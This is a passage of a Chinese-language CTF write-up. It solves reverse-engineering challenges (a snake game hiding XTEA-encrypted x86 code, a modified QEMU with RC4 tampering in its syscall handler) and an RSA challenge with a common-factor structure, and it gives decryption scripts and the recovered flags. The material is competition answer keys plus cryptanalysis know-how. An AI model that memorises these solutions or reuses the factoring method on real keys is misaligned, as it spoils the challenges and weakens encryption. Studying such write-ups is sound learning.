        0xB4, 0xB4, 0x6F, 0x14, 0x4C, 0xEC, 0x00, 0xB4, 0xB4, 0xB4, 0x2F, 0xC0, 0x2C, 0xEC, 0x00, 0xB4,
        0xB4, 0xB4, 0xCC, 0x6C, 0x00, 0xB4, 0xB4, 0xB4, 0xB6, 0x24, 0xCC, 0x72, 0xB4, 0xB4, 0xB4, 0x3B,
        0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xD4, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50,
        0xE4, 0x4C, 0x79, 0x85, 0x37, 0xD0, 0xD2, 0xF4, 0x5B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xE1,
        0xE4, 0x4C, 0xF9, 0x05, 0x37, 0xD0, 0x62, 0x04, 0xE3, 0x60, 0x5B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38,
        0x4A, 0xE1, 0xE4, 0xE4, 0x79, 0x05, 0x37, 0x4C, 0xE9, 0xF4, 0xCC, 0xE2, 0xE4, 0x4C, 0xE1, 0x4C,
        0xF9, 0xED, 0x38, 0xF8, 0x4C, 0xE8, 0xF4, 0xF8, 0xE4, 0xE0, 0xA8, 0x4C, 0xC1, 0xE3, 0x60, 0xE4,
        0x79, 0x04, 0x37, 0x4C, 0xD0, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xD4, 0x2C, 0xF8,
        0x85, 0x37, 0x4C, 0xE8, 0xF6, 0x4C, 0x69, 0xF4, 0xE4, 0x40, 0x4C, 0xD0, 0x2C, 0xE8, 0xF4, 0x3B,
        0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xE4, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50,
        0xD4, 0x4C, 0x79, 0x85, 0x37, 0xD0, 0xD2, 0xF4, 0x5B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xE1,
        0xD4, 0x4C, 0xF9, 0x05, 0x37, 0xD0, 0x62, 0x04, 0xE3, 0x60, 0x5B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38,
        0x4A, 0xE1, 0xD4, 0xE4, 0x79, 0x05, 0x37, 0x4C, 0xE9, 0xF4, 0xD0, 0x62, 0x64, 0xCC, 0xE2, 0xE4,
        0x4C, 0xE1, 0x4C, 0xF9, 0xED, 0x38, 0xF8, 0x4C, 0xE8, 0xF4, 0xF8, 0xE4, 0xE0, 0xA8, 0x4C, 0xC1,
        0xE3, 0x60, 0xE4, 0x79, 0x04, 0x37, 0x4C, 0xD0, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50,
        0xE4, 0x2C, 0xF8, 0x85, 0x37, 0x52, 0x54, 0x2F, 0x2F, 0x2F, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38,
        0x4A, 0xC0, 0xB4, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xD4, 0x4C, 0x79, 0x85, 0x37,
        0x4C, 0xF8, 0x04, 0x37, 0xE3, 0xD0, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xB4, 0x2C,
        0xF8, 0x85, 0x37, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xC4, 0x2B, 0xF4, 0xB4, 0xB4,
        0xB4, 0x38, 0x4A, 0x50, 0xE4, 0x4C, 0x79, 0x85, 0x37, 0x4C, 0xF8, 0x04, 0x37, 0xE3, 0xD0, 0x2B,
        0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xC4, 0x2C, 0xF8, 0x85, 0x37, 0x3B, 0xF4, 0xB4, 0xB4,
        0xB4, 0x38, 0x4A, 0xC0, 0xE4, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xB4, 0x4C, 0x79,
        0x85, 0x37, 0x4C, 0xF8, 0x04, 0x37, 0xE3, 0xD0, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50,
        0xE4, 0x2C, 0xF8, 0x85, 0x37, 0x3B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0xC0, 0xC4, 0x2B, 0xF4,
        0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xD4, 0x4C, 0x79, 0x85, 0x37, 0x4C, 0xF8, 0x04, 0x37, 0xE3,
        0xD0, 0x2B, 0xF4, 0xB4, 0xB4, 0xB4, 0x38, 0x4A, 0x50, 0xD4, 0x2C, 0xF8, 0x85, 0x37, 0xA0, 0xEC,
        0x42, 0xB4, 0xB4, 0xB4, 0x3D, 0xA0, 0xEC, 0x52, 0xB4, 0xB4, 0xB4, 0xBE, 0xA0, 0xEC, 0x62, 0xB4,
        0xB4, 0xB4, 0x51, 0xA0, 0xEC, 0x6F, 0xB4, 0xB4, 0xB4, 0x3D, 0xA0, 0xEC, 0x7F, 0xB4, 0xB4, 0xB4,
        0x5B, 0xA0, 0xEC, 0x12, 0xB4, 0xB4, 0xB4, 0x8D, 0xA0, 0xEC, 0x22, 0xB4, 0xB4, 0xB4, 0x65, 0xA0,
        0xEC, 0x32, 0xB4, 0xB4, 0xB4, 0xA7, 0xA0, 0xEC, 0xBF, 0xB4, 0xB4, 0xB4, 0x4D, 0xA0, 0xEC, 0xCF,
        0xB4, 0xB4, 0xB4, 0xAC, 0xA0, 0xEC, 0xDF, 0xB4, 0xB4, 0xB4, 0xF8, 0xA0, 0xEC, 0xEF, 0xB4, 0xB4,
        0xB4, 0x06, 0xA0, 0xEC, 0xFF, 0xB4, 0xB4, 0xB4, 0xE9, 0xA0, 0xEC, 0x8F, 0xB4, 0xB4, 0xB4, 0x3B,
        0xA0, 0xEC, 0x9F, 0xB4, 0xB4, 0xB4, 0xA3, 0xA0, 0xEC, 0xAF, 0xB4, 0xB4, 0xB4, 0x31, 0xB0, 0xEC,
        0xF5, 0xC4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0xB4, 0x6F, 0x14, 0x4C, 0xEC, 0xF5, 0xC4, 0xB4, 0xB4,
        0x2F, 0xC0, 0x2C, 0xEC, 0xF5, 0xC4, 0xB4, 0xB4, 0xCC, 0x6C, 0xF5, 0xC4, 0xB4, 0xB4, 0xB5, 0x68,
        0xE6, 0x38, 0xCA, 0xEC, 0xF5, 0xC4, 0xB4, 0xB4, 0x24, 0x1B, 0xF8, 0x04, 0x37, 0x38, 0xCA, 0x6D,
        0xF5, 0xC4, 0xB4, 0xB4, 0x24, 0x1B, 0x7D, 0x85, 0x42, 0xB4, 0xB4, 0xB4, 0x63, 0xD0, 0xF7, 0xF4,
        0xD3, 0xC0, 0x6F, 0xF4, 0x6F, 0x00, 0xBB, 0xC4, 0x38, 0x4C, 0x3F, 0xBD, 0xBD, 0xBD, 0xBD, 0xBD
};

uint8 *map_data;

unsigned char tmp_map[1152]={};

std::string charArrayToHex(uint8* input, size_t size) {
    std::stringstream hexStream;
    hexStream << std::hex << std::setfill('0');
    for (size_t i = 0; i < size; ++i) {
        hexStream << std::setw(2) << static_cast<int>(static_cast<unsigned char>(input[i]));
    }
    return hexStream.str();
}


int main() {
    int n = 1152;

    map_data = (uint8 *) malloc(n);

    int rounds = 0;
    while (true) {
        rounds++;

        srand(0xDEADBEEF);
        memcpy(map_data, map_data_orig, n);
        // 测试用例
        vector<pair<int, int>> fruits;

        for (int i = 0; i < rounds; ++i) {
            int y = rand() % 20;
            int x = rand() % 20;
            fruits.push_back({x, y});
//            cout << x << " " << y << "\n";
        }

        SnakePathFinder pathFinder(fruits);

        vector<uint8> v;

        v.push_back(0x11);
        v.push_back(0x12);

        string path = pathFinder.findOptimalPath(10, 10, RIGHT);

        for (char p : path) {
            if(p == 'D')
            {
                for(int i=0;i<n;i++)
                {
                    map_data[i] += 30;
                }

            }
            else if(p == 'A'){
                for(int i=0;i<n;i++)
                {
                    tmp_map[i] = map_data[i];

                }
                for(int i=0;i<n;i++)
                {
                    map_data[i] = tmp_map[(i+6)%n];
                }
            }
            else if(p == 'S')
            {
                for(int i=0;i<n;i++){
                    map_data[i]=(map_data[i]>>5)|(map_data[i]<<3);
                }
            }
            else if(p == 'W'){
                for(int i=0;i<n;i++){
                    map_data[i]-=102;
                }

            }
        }

        MD5 md5 = MD5(map_data, n);
        string hexd = md5.toStr();

        cout << "round:" << rounds << " way: " << path << " md5: " << hexd << " ";

        if (hexd == "9c06c08f882d7981e91d663364ce5e2e") {
            cout << "found it" <<  "\n";
            cout << charArrayToHex(map_data, n);
            exit(0);
        } else {
            cout << "nop\n";
        }

        if (rounds > 1000) break;
    }

    return 0;
}

round:1 way: W md5: 62c753a165784d502246b51539f63797 nop
round:2 way: WAS md5: ddf7a36ef6ee6dfc6dc91aad5d0dd21d nop
round:3 way: WASA md5: 0f27f5aff365ec905bd9a5e4c60cd8b3 nop
round:4 way: WASAWD md5: 9581209074985da9fa69047ce954c589 nop
round:5 way: WASAWDSA md5: 6d87d9bc85ccf44e938dcb242d6baee3 nop
round:6 way: WASAWDSAW md5: 30e6d405dd4d5e5af6d41f7ec1b1ab43 nop
round:7 way: WASAWDSAWD md5: 587264015d204347a510bf2c72723097 nop
round:8 way: WASAWDSAWDS md5: 6e3ab0e912c25e56c4283a011f2d2207 nop
round:9 way: WASAWDSAWDSAW md5: 0a7b22abe33900efc2ae7f25f9950bb5 nop
round:10 way: WASAWDSAWDSAWDS md5: 9c06c08f882d7981e91d663364ce5e2e found it
48894c240855574881ec18020000488d6c2420488d7c2420b94e000000b8ccccccccf3ab488b8c2438020000c7450400000000c74524b979379eb804000000486bc000c744054857333163b804000000486bc001c7440548306d332eb804000000486bc002c744054820322051b804000000486bc003c744054857427338b804000000486bc000b904000000486bc900488b95100200008b040289440d78b804000000486bc001b904000000486bc901488b95100200008b040289440d78b804000000486bc002b904000000486bc902488b95100200008b040289440d78b804000000486bc003b904000000486bc903488b95100200008b040289440d78c785a400000000000000eb0e8b85a4000000ffc08985a400000083bda4000000200f83db000000b804000000486bc000b904000000486bc9018b4c0d78c1e104ba04000000486bd2018b541578c1ea0533caba04000000486bd201034c15788b550483e2038bd28b549548448b45044403c2418bd033ca034c05788bc1b904000000486bc90089440d788b45248b4d0403c88bc1894504b804000000486bc001b904000000486bc9008b4c0d78c1e104ba04000000486bd2008b541578c1ea0533caba04000000486bd200034c15788b5504c1ea0b83e2038bd28b549548448b45044403c2418bd033ca034c05788bc1b904000000486bc90189440d78e90affffffc785c400000000000000eb0e8b85c4000000ffc08985c400000083bdc4000000200f83db000000b804000000486bc002b904000000486bc9038b4c0d78c1e104ba04000000486bd2038b541578c1ea0533caba04000000486bd203034c15788b550483e2038bd28b549548448b45044403c2418bd033ca034c05788bc1b904000000486bc90289440d788b45248b4d0403c88bc1894504b804000000486bc003b904000000486bc9028b4c0d78c1e104ba04000000486bd2028b541578c1ea0533caba04000000486bd202034c15788b5504c1ea0b83e2038bd28b549548448b45044403c2418bd033ca034c05788bc1b904000000486bc90389440d78e90affffffb804000000486bc000b904000000486bc9028b4c0d788b44057833c1b904000000486bc90089440d78b804000000486bc001b904000000486bc9038b4c0d788b44057833c1b904000000486bc90189440d78b804000000486bc003b904000000486bc9008b4c0d788b44057833c1b904000000486bc90389440d78b804000000486bc001b904000000486bc9028b4c0d788b44057833c1b904000000486bc90289440d78c685e800000098c685e9000000a0c685ea000000d9c685eb00000098c685ec000000bac685ed00000097c685ee0000001bc685ef00000071c685f00000009bc685f100000081c685f200000044c685f30000002fc685f400000055c685f5000000b8c685f600000037c685f7000000dfc7851401000000000000eb0e8b8514010000ffc089851401000083bd14010000107d25486385140100000fbe44057848638d140100000fbe8c0de80000003bc1740432c0eb04ebc4b001488bf890909090909090909090909090909090488bc7488da5f80100005f5dc3

然后吧解出来内容直接用 IDA 分析，是个魔改 XTea + 异或，主要魔改点就是四个密文，前两个 delta 从 0开始加起，后两组的 delta 从 32 * delta 开始算起

#include<stdio.h>

int main() {
    unsigned int enc[4] = {0x98d9a098,
                           0x711b97ba,
                           0x2f44819b,
                           0xdf37b855};
    int n = 4;
    unsigned int key[4] = {0x63313357,
                           0x2e336d30,
                           0x51203220,
                           0x38734257};
    int i, j;
    long sum = 0, delta = 0x9E3779B9;
    enc[2] ^= enc[1];
    enc[3] ^= enc[0];
    enc[1] ^= enc[3];
    enc[0] ^= enc[2];
    for (i = 0; i < n; i += 2) {
        sum = (32 * delta * (i / 2 + 1));
        for (j = 0; j < 32; j++) {
            enc[i + 1] -= (((enc[i] >> 5) ^ (16 * enc[i])) + enc[i]) ^ (key[((sum >> 11) & 3)] + sum);//容易魔改
            sum -= delta;
            enc[i] -= (((enc[i + 1] >> 5) ^ (16 * enc[i + 1])) + enc[i + 1]) ^ (key[(sum & 3)] + sum);//容易魔改
        }
    }
    for (i = 0; i < n; i++) {
        for (j = 0; j <= 3; j++) {
            printf("%c", (enc[i] >> (j * 8)) & 0xFF);
        }
    }
    return 0;
}

// flag{G0@d_Snake}

题目名称 mips

一个魔改 qemu 题 题目给了一个 mips 架构的 qemu-user-static，mips 本来是可以直接运行的，出题人给个模拟器，那么肯定是有怪的，观察到 emu 被出题人去符号了，所以先查字符串搜索到这是一个 qemu 6.2.0 的 user-static，然后拉一份源码自行编译 bindiff

**试过了许多优化等级，发现只有 -O0 的时候，符号还原率还有文件大小和题目给出的最相似 **编译命令 ../configure --extra-cflags="-O0" --target-list=mips-linux-user

然后 bindiff 就还原出了大部分的符号

**一开始想用 **-g 选项直接调试 mips_bin，但是发现原本的调试功能被作者去掉了，于是去分析

**在 **0x000000000034B7A3 下找到了原本的 gdbserver_start，然后 patch 模拟器，打开调试功能

**然后使用 **./emu -g 1234 mips_bin2 打开gdb服务器，ida附加调试

程序中还有一个 fork 会影响分析，虽然可以 patch 掉但是会导致 flag 验证结果错误。在分析过程中会发现一个比较简单的假 flag，如果不用模拟器，这个 flag 就是对的，那么想到应该是模拟器上做了手脚，单步调试，最后发现在 syscall 之前输出内容并没有被修改，那么只能想到是 qemu 中的 do_syscall 被修改了

write 的调用号是 0xFA4

果不其然，这里有额外的逻辑 通过交叉引用找到加密的逻辑

sub_33D48E 是一个魔改的 RC4，其中还有一点花指令，让反编译不正常，修复后主要魔改在 RC4 最后一步的异或上

然后是一个简单异或，异或的值在 qemu 中处理 fork() 指令的函数 do_fork() 中被修改了，所以说如果之前把 fork() patch掉了也会导致没法解出来

sub_33D886 是一个换位函数，这里吧密文的 7,11 和 12,16 位进行了交换** **在了解所有加密逻辑后，写一个解密脚本

#include <iostream>
#include "defs.h"
#include <cstdint>

unsigned char a1[60] = {
        0xA8, 0xAC, 0x36, 0x6A, 0xC4, 0x0A, 0x9A, 0xDC, 0x12, 0x48, 0xF2, 0x60, 0xCB, 0xCC, 0x3A, 0x5E,
        0xF2, 0x63, 0x9C, 0x94, 0xF5, 0x48, 0xCD, 0x17, 0x82, 0xCD, 0xF7, 0x71, 0x9F, 0x36, 0xB4, 0x88,
        0xAF, 0x5F, 0xDD, 0x64, 0x85, 0x96, 0xF7, 0x5E, 0xC4, 0x09, 0xAD, 0xDD, 0xAB, 0x16, 0x99, 0x60,
        0x9B, 0xDE, 0xF5, 0x53, 0xC3, 0x21, 0xFC, 0x80, 0xF8, 0x10, 0xC7, 0x26
};

unsigned char byte_4020[6] = {
        0x4F, 0x7D, 0x8E, 0x2B, 0x31, 0x9C
};

unsigned int enced[24] = {
        0x000000C4, 0x000000EE, 0x0000003C, 0x000000BB, 0x000000E7, 0x000000FD, 0x00000067, 0x0000001D,
        0x000000F8, 0x00000097, 0x00000068, 0x0000009D, 0x0000000B, 0x0000007F, 0x000000C7, 0x00000080,
        0x000000DF, 0x000000F9, 0x0000004B, 0x000000A0, 0x00000046, 0x00000091, 0x00000000, 0x00000000
};

unsigned char byte_B9CA60[32] = {
        0xDE, 0xAD, 0xBE, 0xEF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

uint8_t reverse_operation(uint8_t v3) {
    uint8_t temp = v3;

    uint8_t part1 = (temp & 0xC0) ^ 0xC0;  // High bits
    uint8_t part2 = (temp & 0x3F) ^ 0x3B;  // Low bits

    uint8_t middle = (part1 >> 6) | (part2 << 2);
    uint8_t v2 = (middle >> 7) | (middle << 1);

    return v2;
}

char *__fastcall decrypt(unsigned char *a1)
{
    int v1; // edx
    unsigned __int8 v3; // [rsp+15h] [rbp-17Bh]
    int i; // [rsp+18h] [rbp-178h]
    int v5; // [rsp+1Ch] [rbp-174h]
    unsigned int v6; // [rsp+20h] [rbp-170h]
    int i_22; // [rsp+24h] [rbp-16Ch]
    int j_t12; // [rsp+28h] [rbp-168h]
    int j; // [rsp+2Ch] [rbp-164h]
    int v10; // [rsp+30h] [rbp-160h]
    int v11; // [rsp+34h] [rbp-15Ch]
    int v12; // [rsp+3Ch] [rbp-154h]
    const char *v13; // [rsp+40h] [rbp-150h]
    char *v14; // [rsp+48h] [rbp-148h]
    __int8 sbox[256]; // [rsp+80h] [rbp-110h] BYREF
    __int16 v16; // [rsp+180h] [rbp-10h]
    unsigned __int64 v17; // [rsp+188h] [rbp-8h]

    memset(sbox, 0, sizeof(sbox));
    v16 = 0;
    for ( i = 0; i <= 255; ++i )
        sbox[i] = i;
    v5 = 0;
    v6 = 0;
    v13 = "6105t3";
    do
    {
        v10 = (unsigned __int8)sbox[v6];
        v11 = (unsigned __int8)(v13++)[(int)(2 * (v6 / 6 - (((2863311531u * (unsigned __int64)v6) >> 32) & 0xFFFFFFFC)))];
        v5 += v10 + v11;
        v1 = v6++;
        sbox[v1] = sbox[(unsigned __int8)v5];
        sbox[(unsigned __int8)v5] = v10;
    }
    while ( v6 != 256 );
    i_22 = 0;
    j_t12 = 0;
    v14 = (char *) malloc(256LL);
    for ( j = 0; j != 22; ++j )
    {
        v12 = (unsigned __int8)sbox[(unsigned __int8)++i_22];
        j_t12 += v12;
        sbox[(unsigned __int8)i_22] = sbox[(unsigned __int8)j_t12];
        sbox[(unsigned __int8)j_t12] = v12;
//        v3 = ((((a1[j] << 7) | (a1[j] >> 1)) << 6) ^ 0xC0 | (((a1[j] << 7) | (a1[j] >> 1)) >> 2) ^ 0x3B) ^ 0xBE;
//        v14[j] = sbox[(sbox[i_22] + v12)] ^ byte_B9CA60[j & 3] ^ (((((16 * (((32 * v3) | (v3 >> 3)) ^ 0xAD)) | ((((32 * v3) | (v3 >> 3)) ^ 0xAD) >> 4)) ^ 0xDE) >> 5) | (8 * (((16 * (((32 * v3) | (v3 >> 3)) ^ 0xAD)) | ((((32 * v3) | (v3 >> 3)) ^ 0xAD) >> 4)) ^ 0xDE)));

        uint8 step1 = a1[j] ^ sbox[(unsigned __int8)(sbox[(unsigned __int8)i_22] + v12)] ^ byte_B9CA60[j & 3];

        uint8 s1_p1 = step1 >> 3 | step1 << 5;
        s1_p1 ^= 0xDE;
        s1_p1 = s1_p1 << 4 | s1_p1 >> 4;
        s1_p1 ^= 0xAD;
        s1_p1 = s1_p1 << 3 | s1_p1 >> 5;

        uint8 v3 = s1_p1;
        v3 ^= 0xBE;

        uint8 dt = reverse_operation(v3);

        printf("%c", dt);

    }
    return v14;
}

int main() {

    uint32 tmp = enced[12];
    enced[12] = enced[16];
    enced[16] = tmp;

    tmp = enced[7];
    enced[7] = enced[11];
    enced[11] = tmp;

    uint8 css[24];

    for (int i = 0; i < 22; ++i) {
        enced[i] ^= 0xA;
        css[i] = (uint8) enced[i];
    }
    decrypt(css);
    return 0;
}

// flag{QeMu_r3v3rs3in9_h@ck6}

Crypto：

题目名称 EasyRSA

** **

from Crypto.Util.number import *
from gmpy2 import *

n1=28232805454194126580185482320070846352481395649191611433332161318519103107273485540534628462494213822287165823067964141300506995966951044677196346644001101357069307578312361939010547905366912989907738897665565874375297977814887791010798082778407549251114585691701280425291315270773172332110994412206378794012916253826627505004396218319289082392164556476913023394093880357451318700967357819130060110581204410711285894600511628578885815578549481158267908904903185466428658475161714756270499101164313357470299242193133946148951810709266874163096536460368507020082085510460238735222992827824406961864896768855189739674227
e1=65537
g1=2039447085344227600966253741410908673611423530521343019114343309688520444414707588875049229926942257429619465150020196987783214734489310684995626654961
c1=14605891621297909705253295101230536367653419536843393837655677186333331486183655581967763191410340552645516273489094455765692996077826277981091686386204032361045004946269119986516159179530857161740686215693440573642506535212916811957646396476040902444551119825356595835896202345913835896198891067361443034118165555858013715120163177169356860378260918919030133598639200564052016690204042559702797938021404951730224215301564050460779971665863608004295954392268809582176397930583787952617429730306850432632081779171389806520841656089333250706896554634251916724154250096575860859733414888045978306047526553339409414893633

n2=44159637395180850389201034255304132690576685173640586887117299297687236922811341400425117539270378505430682314253735515273145033656098964270267180745291268268448629445855114910957185395569422323261338808576762431707166270366332063782164025756441189571455632705234065657487392825227184075529240268725228593603871796090489270976155909897409994031599445305568121348569450583261321724972069003282305822386171489445197468728754239519992438974130461309994435591569243898824210134530728804065050037831893816981185728341881249422284063852071867382969959191709168664932937191225588371927181743536583301741294502066354291679967
e2=65537
g2=2962844940033837245802829750579696426719011899304078144305113071711158124707114860685747879089463746030367992972516853622613861572918327499290503019291
c2=39631552179691429965218407790511554472282486429028493872592282736700990664417709940983029573096009549324408596688540045907107184534578074473321979179692065351150285094805068528379272784733648206964812927870134343010020002358217010218868965044985505374302288600000656492904985640637203516078710620851171542124803549428650371007565175454879109615381950906197564063297468571682209908973902880332964731714879086608875718311138582410130059890816988908071045397360832863067112764347550797011423644390312951211833086757345557371214142378150817299841578598999399769886936695000454117469316064358283218308381180174299767171667

# N = 2g*(2gab+a+b)+1 = 4g^2ab+2g(a+b)+1 = (2ag+1)(2bg+1)
# N=(2ag+1)(2bg+1)

v1 = ((n1 - 1) // (2*g1)) % (2*g1)
u1 = ((n1 - 1) // (2*g1)) // (2*g1)
left = (((2 * iroot(n1,2)[0]) // (2*g1)) - v1) // (2*g1)
right = (((3 * iroot(2*n1,2)[0]) // (4*g1)) - v1) // (2*g1)

dic = {}
b = pow(114514,2*g1,n1)
base = pow(b,left,n1)
D = iroot(right - left,2)[0]+1
step = pow(b,D,n1)
for i in range(D):
    dic[base] = i
    base = base * step % n1
print("baby step ready")

base = pow(b,u1,n1)
step = inverse(b,n1)
for i in range(D):
    if(base in dic):
        print("ans found!")
        print(i,dic[base])
        c = left+ i + D * dic[base]
        break
    base = base * step % n1

A = u1 - c
B = v1 + c * 2 * g1
C = iroot(B**2 - 4*A,2)[0]
x = (B+C) // 2
y = B-x
p1 = x*g1*2+1
q1 = y*g1*2+1


phi1 = (p1-1) * (q1-1)
print(phi1)

d1 = invert(e1,phi1)
m = pow(c1,d1,n1)
print(long_to_bytes(m))

作者: A1natas Security Group

版权声明: 本文章采用 CC BY-NC-ND 4.0 许可协议, 转载请注明出处！